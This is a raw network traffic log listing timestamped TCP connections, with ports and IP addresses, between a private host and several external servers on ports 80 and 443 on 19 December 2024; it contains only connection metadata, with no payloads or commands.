Dec 19, 2024 14:10:43.473056078 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473345995 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473360062 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473371983 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473385096 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473398924 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473412991 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473448992 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473457098 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473514080 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473659039 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473673105 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473726988 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473745108 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473784924 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473797083 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473809958 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473834991 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473845005 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.473862886 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.473951101 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474044085 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474109888 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474194050 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474363089 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474410057 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474426031 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474457979 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474508047 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474594116 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474634886 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474710941 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474750996 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474808931 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474837065 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.474850893 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.474906921 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.475131035 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.475214005 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.518944979 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.522907972 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.592593908 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.592690945 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.592787027 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.592900038 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593002081 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593116999 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593149900 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593367100 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593394995 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593437910 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593488932 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593516111 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593548059 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593616962 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593677044 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593704939 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593821049 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.593871117 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594413996 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.594621897 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594691992 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.594722986 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594753027 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594789982 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594790936 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.594810009 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.594835997 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594842911 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.594892979 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.594909906 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594938993 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.594973087 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595102072 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595150948 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595180035 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595210075 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595263004 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595304012 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595349073 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595401049 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595427990 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595463991 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595473051 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595540047 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595568895 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595649958 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595803976 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595835924 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595865011 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595891953 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595920086 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.595974922 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596003056 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596050978 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596092939 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596118927 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596151114 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596199989 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596226931 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596275091 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596303940 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596420050 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596471071 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596580982 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596609116 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596642017 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596673012 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596681118 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596748114 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596775055 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596802950 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596906900 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596934080 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596961021 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.596988916 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.597037077 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.597064018 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.597130060 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.597480059 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.597543001 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.715204954 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.715219021 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.715347052 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.715359926 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.715370893 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.715384007 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.715995073 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.716012001 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.716025114 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.716037989 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.716051102 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.716444969 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717466116 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717478991 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717679977 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717786074 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717798948 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717811108 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.717953920 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718107939 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718120098 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718245983 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718257904 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718270063 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718281984 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718575001 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718586922 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718728065 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718739986 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718759060 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718771935 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718863010 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.718875885 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719014883 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719027996 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719039917 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719052076 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719144106 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719156027 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719161987 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719167948 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719285965 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719299078 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719419956 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719433069 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719444990 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719456911 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719500065 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719513893 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719525099 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719563007 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719569921 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719575882 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719702005 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719715118 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719727039 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719739914 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719752073 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719846964 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.719858885 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720010996 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720024109 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720160007 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:43.720170975 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720184088 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720323086 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720335960 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720509052 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720519066 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720531940 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720544100 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720557928 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720571995 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720613003 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720624924 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720637083 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720649004 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720660925 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720673084 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720684052 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720757008 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720768929 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720779896 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720793009 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720803976 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720817089 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720921040 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720941067 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.720952034 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721055984 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721067905 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721079111 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721091032 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721355915 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721383095 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721517086 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721529007 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721540928 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721553087 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721568108 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721656084 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721668959 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721679926 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721787930 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721800089 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721811056 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721823931 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.721940994 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.755961895 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.839736938 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.839834929 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.839864016 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.839896917 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.839960098 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840009928 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840039015 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840157986 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840187073 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840234041 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840281963 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840327978 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840357065 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840389967 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840466022 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840497017 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840573072 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840603113 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840651989 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840682983 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840792894 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.840836048 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841088057 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841150045 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841273069 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841305971 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841376066 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841403961 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841437101 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841552019 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841583967 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841610909 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841658115 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841685057 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841716051 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841778040 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841859102 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841906071 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:43.841932058 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:44.611438036 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:44.611690044 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:44.611788988 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:44.611900091 CET	49843	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:44.611952066 CET	443	49843	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:44.734597921 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:44.734642029 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:44.734709024 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:44.735052109 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:44.735073090 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:45.385036945 CET	49829	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:45.385942936 CET	49855	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:45.482732058 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:45.483141899 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:45.504992008 CET	80	49829	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:45.505052090 CET	49829	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:45.505701065 CET	80	49855	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:45.505847931 CET	49855	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:45.514816999 CET	49855	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:45.603074074 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:45.603135109 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:45.637108088 CET	80	49855	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:45.741048098 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:45.863171101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:45.863293886 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:45.866194963 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:45.955715895 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:45.955933094 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:45.957211018 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:45.957250118 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:45.957598925 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:45.958837032 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:45.958894968 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:45.958949089 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:45.988917112 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:46.842320919 CET	80	49855	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:46.842499971 CET	49855	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:46.843982935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:46.844389915 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:46.905294895 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:46.905534983 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:46.905972958 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:46.906107903 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:46.906146049 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:46.906167984 CET	49854	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:46.906181097 CET	443	49854	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:46.963720083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:46.963774920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:46.963854074 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:46.963918924 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:46.964127064 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:47.083791018 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:47.937470913 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937546968 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937562943 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937638998 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937640905 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:47.937653065 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937688112 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:47.937706947 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937731028 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937781096 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:47.937844992 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937860966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937875986 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:47.937886000 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:47.937911987 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.057883978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.058196068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.058485985 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.062186956 CET	80	49856	176.53.146.212	192.168.2.4
